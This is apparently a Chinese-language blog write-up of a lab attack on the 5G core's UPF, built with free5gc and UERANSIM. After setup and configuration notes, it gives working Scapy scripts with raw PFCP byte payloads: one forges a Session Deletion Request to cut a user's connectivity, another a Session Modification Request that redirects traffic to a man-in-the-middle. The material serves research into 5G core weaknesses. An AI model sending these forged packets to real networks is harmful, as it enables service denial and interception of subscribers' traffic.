UPF 攻击(断网、会话劫持)

记录一下最近做 UPF 攻击的心得体会。

环境配置

UERANSIM:https://github.com/aligungr/UERANSIM/wiki/Installation

free5gc:https://github.com/free5gc/free5gc/wiki/Installation

gtp5g:https://github.com/free5gc/gtp5g(运行 UPF 网元所需,可在 free5gc 的文件夹里配置)

UERANSIM + free5gc:https://www.free5gc.org/installations/stage-3-sim-install/

官方教程大都很详细了,下面列出一些配置过程中需要注意的地方。

git

ubuntu 中配置环境很多时候都要用到 git clone 命令,这时可以考虑使用 github 镜像:

1
git config --global url."https://kgithub.com/".insteadOf "https://github.com/"

执行该条命令后访问 https://github.com/ 开头的资源都会被替换为国内 https://kgithub.com/ 的镜像。

go

free5gc 运行过程中涉及到很多 go 包的下载,可以通过以下命令设置为国内代理。

1
go env -w GOPROXY=https://goproxy.cn

free5gc

shell

在 UERANSIM + free5gc 的教程中核心网主机需要执行以下四条命令,主要功能是对来自 UERANSIM 的数据包进行转发封装,使得自己成为 UERANSIM 与外网间的一个中继:

1
2
3
4
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o enp0s3 -j MASQUERADE
sudo systemctl stop ufw
sudo iptables -I FORWARD 1 -j ACCEPT

在第二条命令中,需要将 enp0s3 替换为系统的默认网卡,如 ubuntu 20.04 中即为 ens33 。

clone UPF

进行断网和劫持攻击需要克隆一台新的虚拟机来运行 UPF 网元,本机的环回地址无法执行以上攻击。

另外,克隆主机需要将 upfcfg 文件中的一些参数改为本机 ip 。

config

free5gc 主要需要对 amfcfg、smfcfg、upfcfg 这三个文件进行设置,

在旧版本中,UPF 网元的配置文件目录为 free5gc/NFs/upf/build/config/upfcfg.yaml,二进制文件目录为 free5gc/NFs/upf/build/bin/free5gc-upfd,启动命令为 sudo -E ./bin/free5gc-upfd

在新版本中,UPF 网元的配置与二进制文件与其他网元一样,分别在 free5gc/bin 和 free5gc/config 这两个目录下。

以下只列出配置文件中的更改项。

AMF

1
2
ngapIpList:  # the IP list of N2 interfaces on this AMF
- 192.168.163.128 # UERANSIM 所在主机 IP,用于监听 NGAP 消息

SMF

1
2
3
4
5
6
7
8
9
pfcp:
addr: 192.168.163.128 # 本机 IP,用于向 UPF 发送 PFCP 消息

UPF:
nodeID: 192.168.163.129 # UPF 网元所在主机 IP,即克隆主机 IP

interfaces:
endpoints: # UPF 网元所在主机 IP,即克隆主机 IP
- 192.168.163.129

UPF

1
2
3
4
5
6
7
pfcp:
addr: 192.168.163.129 # UPF 网元所在主机 IP,即克隆主机 IP
nodeID: 192.168.163.129 # 同上

gtpu:
ifList:
- addr: 192.168.163.129 # 同上

UPF 攻击

根据 UERANSIM 注册过程中抓到的 PFCP 包可进行以下两种攻击。

断网攻击

步骤

向 UPF 所在主机发送 Sx Session Deletion Request 包。

1
2
3
from scapy.all import *

send(IP(src="192.168.163.128",dst="192.168.163.129")/UDP(dport=8805,sport=8805)/bytes([0x23,0x36,0x00,0x0c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x07,0xc0]))

注意事项

SEID 字段的值需为 1,0 用于 Establishment ,旧版本中 2 及以上会报段错误。

效果

UPF 删除已有会话,UERANSIM 侧无法上网。

会话劫持

步骤

向 UPF 所在主机发送 Sx Session Modification Request 包。

将包中 Outer Header Creation 字段改为中间人 IP 。

代码

1
2
3
from scapy.all import *

send(IP(src="192.168.163.128",dst="192.168.163.129")/UDP(dport=8805,sport=8805)/bytes([0x23,0x34,0x00,0x90,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x12,0xc0,0x00,0x39,0x00,0x0d,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0xc0,0xa8,0xa3,0x80,0x00,0x09,0x00,0x35,0x00,0x38,0x00,0x02,0x00,0x0c,0x00,0x1d,0x00,0x04,0x00,0x00,0x00,0xff,0x00,0x02,0x00,0x1b,0x00,0x14,0x00,0x01,0x02,0x00,0x16,0x00,0x09,0x08,0x69,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x00,0x5d,0x00,0x05,0x06,0x0a,0x3c,0x00,0x06,0x00,0x6c,0x00,0x04,0x00,0x00,0x00,0x0c,0x00,0x0a,0x00,0x36,0x00,0x6c,0x00,0x04,0x00,0x00,0x00,0x0c,0x00,0x2c,0x00,0x01,0x02,0x00,0x0b,0x00,0x25,0x00,0x2a,0x00,0x01,0x00,0x00,0x16,0x00,0x09,0x08,0x69,0x6e,0x74,0x65,0x72,0x6e,0x65,0x74,0x00,0x54,0x00,0x0a,0x01,0x00,0x00,0x00,0x00,0x06,0xc0,0xa8,0xa3,0x80,0x00,0x31,0x00,0x01,0x00]))

效果

原本 UPF -> UERANSIM 的包都会发给中间人。

UPF 攻击(断网、会话劫持)

https://www.kanoon.cn/2023/04/19/upf-attack/

作者

Kanoon

发布于

2023-04-19

更新于

2023-04-30

许可协议

评论